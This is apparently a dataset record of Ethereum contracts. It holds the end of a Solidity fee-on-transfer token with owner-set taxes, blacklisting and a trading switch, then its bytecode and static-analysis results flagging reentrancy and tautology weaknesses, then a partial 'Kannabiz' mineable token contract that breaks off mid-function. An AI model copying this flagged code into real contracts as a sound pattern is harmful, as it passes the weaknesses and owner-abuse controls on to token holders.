uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 30, "Sell tax must be between 0% and 30%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 100000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610551578063dd62ed3e14610571578063ea1644d5146105b7578063f2fde38b146105d757600080fd5b8063a2a957bb146104cc578063a9059cbb146104ec578063bfd792841461050c578063c3c8cd801461053c57600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104ac57600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611adf565b6105f7565b005b34801561020a57600080fd5b506040805180820190915260088152674e616b614d6f746f60c01b60208201525b6040516102389190611ba4565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611bf9565b610696565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b50664a9b63844880005b604051908152602001610238565b3480156102d957600080fd5b506102616102e8366004611c25565b6106ad565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610238565b34801561032b57600080fd5b50601554610291906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611c66565b610716565b34801561036b57600080fd5b506101fc61037a366004611c93565b610761565b34801561038b57600080fd5b506101fc6107a9565b3480156103a057600080fd5b506102bf6103af366004611c66565b6107f4565b3480156103c057600080fd5b506101fc610816565b3480156103d557600080fd5b506101fc6103e4366004611cae565b61088a565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611c66565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b0316610291565b34801561045657600080fd5b506101fc610465366004611c93565b6108c7565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b506040805180820190915260038152624e4b4d60e81b602082015261022b565b3480156104b857600080fd5b506101fc6104c7366004611cae565b61090f565b3480156104d857600080fd5b506101fc6104e7366004611cc7565b61093e565b3480156104f857600080fd5b50610261610507366004611bf9565b610af4565b34801561051857600080fd5b50610261610527366004611c66565b60106020526000908152604090205460ff1681565b34801561054857600080fd5b506101fc610b01565b34801561055d57600080fd5b506101fc61056c366004611cf9565b610b55565b34801561057d57600080fd5b506102bf61058c366004611d7d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c357600080fd5b506101fc6105d2366004611cae565b610bf6565b3480156105e357600080fd5b506101fc6105f2366004611c66565b610c25565b6000546001600160a01b0316331461062a5760405162461bcd60e51b815260040161062190611db6565b60405180910390fd5b60005b81518110156106925760016010600084848151811061064e5761064e611deb565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068a81611e17565b91505061062d565b5050565b60006106a3338484610d0f565b5060015b92915050565b60006106ba848484610e33565b61070c843361070785604051806060016040528060288152602001611f31602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061136f565b610d0f565b5060019392505050565b6000546001600160a01b031633146107405760405162461bcd60e51b815260040161062190611db6565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078b5760405162461bcd60e51b815260040161062190611db6565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107de57506013546001600160a01b0316336001600160a01b0316145b6107e757600080fd5b476107f1816113a9565b50565b6001600160a01b0381166000908152600260205260408120546106a7906113e3565b6000546001600160a01b031633146108405760405162461bcd60e51b815260040161062190611db6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b45760405162461bcd60e51b815260040161062190611db6565b655af3107a40008111156107f157601655565b6000546001600160a01b031633146108f15760405162461bcd60e51b815260040161062190611db6565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109395760405162461bcd60e51b815260040161062190611db6565b601855565b6000546001600160a01b031633146109685760405162461bcd60e51b815260040161062190611db6565b60048411156109c75760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610621565b6014821115610a235760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610621565b6004831115610a835760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610621565b601e811115610ae05760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526233302560e81b6064820152608401610621565b600893909355600a91909155600955600b55565b60006106a3338484610e33565b6012546001600160a01b0316336001600160a01b03161480610b3657506013546001600160a01b0316336001600160a01b0316145b610b3f57600080fd5b6000610b4a306107f4565b90506107f181611467565b6000546001600160a01b03163314610b7f5760405162461bcd60e51b815260040161062190611db6565b60005b82811015610bf0578160056000868685818110610ba157610ba1611deb565b9050602002016020810190610bb69190611c66565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610be881611e17565b915050610b82565b50505050565b6000546001600160a01b03163314610c205760405162461bcd60e51b815260040161062190611db6565b601755565b6000546001600160a01b03163314610c4f5760405162461bcd60e51b815260040161062190611db6565b6001600160a01b038116610cb45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610621565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610621565b6001600160a01b038216610dd25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610621565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610621565b6001600160a01b038216610ef95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610621565b60008111610f5b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610621565b6000546001600160a01b03848116911614801590610f8757506000546001600160a01b03838116911614155b1561126857601554600160a01b900460ff16611020576000546001600160a01b038481169116146110205760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610621565b6016548111156110725760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610621565b6001600160a01b03831660009081526010602052604090205460ff161580156110b457506001600160a01b03821660009081526010602052604090205460ff16155b61110c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610621565b6015546001600160a01b03838116911614611191576017548161112e846107f4565b6111389190611e32565b106111915760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610621565b600061119c306107f4565b6018546016549192508210159082106111b55760165491505b8080156111cc5750601554600160a81b900460ff16155b80156111e657506015546001600160a01b03868116911614155b80156111fb5750601554600160b01b900460ff165b801561122057506001600160a01b03851660009081526005602052604090205460ff16155b801561124557506001600160a01b03841660009081526005602052604090205460ff16155b156112655761125382611467565b47801561126357611263476113a9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112aa57506001600160a01b03831660009081526005602052604090205460ff165b806112dc57506015546001600160a01b038581169116148015906112dc57506015546001600160a01b03848116911614155b156112e957506000611363565b6015546001600160a01b03858116911614801561131457506014546001600160a01b03848116911614155b1561132657600854600c55600954600d555b6015546001600160a01b03848116911614801561135157506014546001600160a01b03858116911614155b1561136357600a54600c55600b54600d555b610bf0848484846115f0565b600081848411156113935760405162461bcd60e51b81526004016106219190611ba4565b5060006113a08486611e4a565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610692573d6000803e3d6000fd5b600060065482111561144a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610621565b600061145461161e565b90506114608382611641565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114af576114af611deb565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150357600080fd5b505afa158015611517573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061153b9190611e61565b8160018151811061154e5761154e611deb565b6001600160a01b0392831660209182029290920101526014546115749130911684610d0f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115ad908590600090869030904290600401611e7e565b600060405180830381600087803b1580156115c757600080fd5b505af11580156115db573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115fd576115fd611683565b6116088484846116b1565b80610bf057610bf0600e54600c55600f54600d55565b600080600061162b6117a8565b909250905061163a8282611641565b9250505090565b600061146083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117e6565b600c541580156116935750600d54155b1561169a57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116c387611814565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116f59087611871565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172490866118b3565b6001600160a01b03891660009081526002602052604090205561174681611912565b611750848361195c565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179591815260200190565b60405180910390a3505050505050505050565b6006546000908190664a9b63844880006117c28282611641565b8210156117dd57505060065492664a9b638448800092509050565b90939092509050565b600081836118075760405162461bcd60e51b81526004016106219190611ba4565b5060006113a08486611eef565b60008060008060008060008060006118318a600c54600d54611980565b925092509250600061184161161e565b905060008060006118548e8787876119d5565b919e509c509a509598509396509194505050505091939550919395565b600061146083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061136f565b6000806118c08385611e32565b9050838110156114605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610621565b600061191c61161e565b9050600061192a8383611a25565b3060009081526002602052604090205490915061194790826118b3565b30600090815260026020526040902055505050565b6006546119699083611871565b60065560075461197990826118b3565b6007555050565b600080808061199a60646119948989611a25565b90611641565b905060006119ad60646119948a89611a25565b905060006119c5826119bf8b86611871565b90611871565b9992985090965090945050505050565b60008080806119e48886611a25565b905060006119f28887611a25565b90506000611a008888611a25565b90506000611a12826119bf8686611871565b939b939a50919850919650505050505050565b600082611a34575060006106a7565b6000611a408385611f11565b905082611a4d8583611eef565b146114605760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610621565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f157600080fd5b8035611ada81611aba565b919050565b60006020808385031215611af257600080fd5b823567ffffffffffffffff80821115611b0a57600080fd5b818501915085601f830112611b1e57600080fd5b813581811115611b3057611b30611aa4565b8060051b604051601f19603f83011681018181108582111715611b5557611b55611aa4565b604052918252848201925083810185019188831115611b7357600080fd5b938501935b82851015611b9857611b8985611acf565b84529385019392850192611b78565b98975050505050505050565b600060208083528351808285015260005b81811015611bd157858101830151858201604001528201611bb5565b81811115611be3576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c0c57600080fd5b8235611c1781611aba565b946020939093013593505050565b600080600060608486031215611c3a57600080fd5b8335611c4581611aba565b92506020840135611c5581611aba565b929592945050506040919091013590565b600060208284031215611c7857600080fd5b813561146081611aba565b80358015158114611ada57600080fd5b600060208284031215611ca557600080fd5b61146082611c83565b600060208284031215611cc057600080fd5b5035919050565b60008060008060808587031215611cdd57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d0e57600080fd5b833567ffffffffffffffff80821115611d2657600080fd5b818601915086601f830112611d3a57600080fd5b813581811115611d4957600080fd5b8760208260051b8501011115611d5e57600080fd5b602092830195509350611d749186019050611c83565b90509250925092565b60008060408385031215611d9057600080fd5b8235611d9b81611aba565b91506020830135611dab81611aba565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e2b57611e2b611e01565b5060010190565b60008219821115611e4557611e45611e01565b500190565b600082821015611e5c57611e5c611e01565b500390565b600060208284031215611e7357600080fd5b815161146081611aba565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ece5784516001600160a01b031683529383019391830191600101611ea9565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f0c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f2b57611f2b611e01565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ff4209967e7b3226be6f5af7cac2d265f60d3a11f9277ef880edfff925b3969264736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 3,962 |
0xd9506121D67fb918AC47AF0b883730694bE9377C
|
/**
*Submitted for verification at Etherscan.io on 2020-03-13
*/
pragma solidity ^0.4.18;
library SafeMath
{
function add(uint a, uint b) internal pure returns (uint c)
{
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c)
{
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c)
{
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c)
{
require(b > 0);
c = a / b;
}
}
library ExtendedMath
{
//return the smaller of the two inputs (a or b)
function limitLessThan(uint a, uint b) internal pure returns (uint c)
{
if(a > b) return b;
return a;
}
}
contract ERC20Interface
{
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack
{
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned
{
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public
{
owner = msg.sender;
}
modifier onlyOwner
{
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner
{
newOwner = _newOwner;
}
function acceptOwnership() public
{
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract Kannabiz is ERC20Interface, Owned
{
using SafeMath for uint;
using ExtendedMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public latestDifficultyPeriodStarted;
uint public epochCount; //number of 'blocks' mined
uint public _BLOCKS_PER_READJUSTMENT = 4;
//a little number
uint public _MINIMUM_TARGET = 2**16;
//a big number is easier, just find a solution that is smaller
//uint public _MAXIMUM_TARGET = 2**224; bitcoin uses 224
uint public _MAXIMUM_TARGET = 2**234;
uint public miningTarget;
bytes32 public challengeNumber; //generate a new one when a new reward is minted
uint public rewardEra;
uint public maxSupplyForEra;
address public lastRewardTo;
uint public lastRewardAmount;
uint public lastRewardEthBlockNumber;
bool locked = false;
mapping(bytes32 => bytes32) solutionForChallenge;
uint public tokensMinted;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
mapping(address => bool) public frozenAccount; // Array of frozen accounts
mapping(address => bool) public whitelistedAccount; // Array of whitelisted accounts
mapping(uint256 => uint256) public eraVsMaxSupplyFactor;
event FrozenFunds(address target, bool frozen);
event whitelistedFunds(address target, bool whitelisted);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Kannabiz() public onlyOwner
{
symbol = "KK";
name = "Kannabiz Koin";
decimals = 8;
_totalSupply = 25000000000 * 10**uint(decimals);
if(locked) revert();
locked = true;
tokensMinted = 0;
rewardEra = 0;
miningTarget = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
eraVsMaxSupplyFactor[0] = 5;
eraVsMaxSupplyFactor[1] = 4;
eraVsMaxSupplyFactor[2] = 3;
eraVsMaxSupplyFactor[3] = 2;
eraVsMaxSupplyFactor[4] = 2;
eraVsMaxSupplyFactor[5] = 2;
eraVsMaxSupplyFactor[6] = 2;
eraVsMaxSupplyFactor[7] = 1;
eraVsMaxSupplyFactor[8] = 1;
eraVsMaxSupplyFactor[9] = 1;
eraVsMaxSupplyFactor[10] = 1;
eraVsMaxSupplyFactor[11] = 1;
maxSupplyForEra = eraVsMaxSupplyFactor[rewardEra].mul(1000000000) * 10**uint(decimals);
_startNewMiningEpoch();
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success)
{
if (whitelistedAccount[msg.sender])
{
//the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks
bytes32 digest = keccak256(challengeNumber, msg.sender, nonce );
//the challenge digest must match the expected
if (digest != challenge_digest) revert();
//the digest must be smaller than the target
if(uint256(digest) > miningTarget) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert(); //prevent the same answer from awarding twice
uint reward_amount = getMiningReward();
balances[msg.sender] = balances[msg.sender].add(reward_amount);
tokensMinted = tokensMinted.add(reward_amount);
//Cannot mint more tokens than there are
assert(tokensMinted <= maxSupplyForEra);
assert(tokensMinted <= _totalSupply);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardAmount = reward_amount;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
Mint(msg.sender, reward_amount, epochCount, challengeNumber );
return true;
}
else
{
return false;
}
}
//a new 'block' to be mined
function _startNewMiningEpoch() internal
{
//if max supply for the era will be exceeded next reward round then enter the new era before that happens
//4 is the final reward era, almost all tokens minted
//once the final era is reached, more tokens will not be given out because the assert function
if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 12)
{
rewardEra = rewardEra + 1;
maxSupplyForEra = eraVsMaxSupplyFactor[rewardEra].mul(1000000000) * 10**uint(decimals);
}
epochCount = epochCount.add(1);
//every so often, readjust difficulty. Dont readjust when deploying
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
//make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks
//do this last since this is a protection mechanism in the mint() function
challengeNumber = block.blockhash(block.number - 1);
}
function _reAdjustDifficulty() internal
{
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
//assume 270 ethereum blocks per hour
//we want miners to spend 10 minutes to mine each 'block', about 45 ethereum blocks = one Block X Token epoch
uint epochsMined = _BLOCKS_PER_READJUSTMENT; //256
uint targetEthBlocksPerDiffPeriod = epochsMined * 48; //should be 48 times slower than ethereum
//if there were less eth blocks passed in time than expected
if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod )
{
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod );
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000);
// If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100.
//make it harder
miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 %
}
else
{
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod );
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000
//make it easier
miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 %
}
latestDifficultyPeriodStarted = block.number;
if(miningTarget < _MINIMUM_TARGET) //very difficult
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET) //very easy
{
miningTarget = _MAXIMUM_TARGET;
}
}
//this is a recent ethereum block hash, used to prevent pre-mining future blocks
function getChallengeNumber() public constant returns (bytes32)
{
return challengeNumber;
}
//the number of zeroes the digest of the PoW solution requires. Auto adjusts
function getMiningDifficulty() public constant returns (uint)
{
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public constant returns (uint)
{
return miningTarget;
}
//10,000,000,000 coins total
//reward begins at 100,000 and is cut in half every reward era (as tokens are mined)
function getMiningReward() public constant returns (uint)
{
//once we get half way thru the coins, only get 50,000 per block
//every reward era, the reward amount halves.
return (100000 * 10**uint(decimals) ).div(5).mul(eraVsMaxSupplyFactor[rewardEra]) ;
}
//help debug mining software
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest)
{
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if (challenge_digest == 9643712)
{
//suppress the warning
}
return digest;
}
//help debug mining software
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success)
{
bytes32 digest = keccak256(challenge_number,msg.sender,nonce);
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint)
{
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance)
{
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success)
{
// Checks if sender has enough balance, checks for overflows, and checks if the sender or to accounts are frozen
if ((balances[msg.sender] < tokens) || (balances[to] + tokens < balances[to]) || (frozenAccount[msg.sender]) || (frozenAccount[to]))
{
return false;
}
else
{
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(msg.sender, to, tokens);
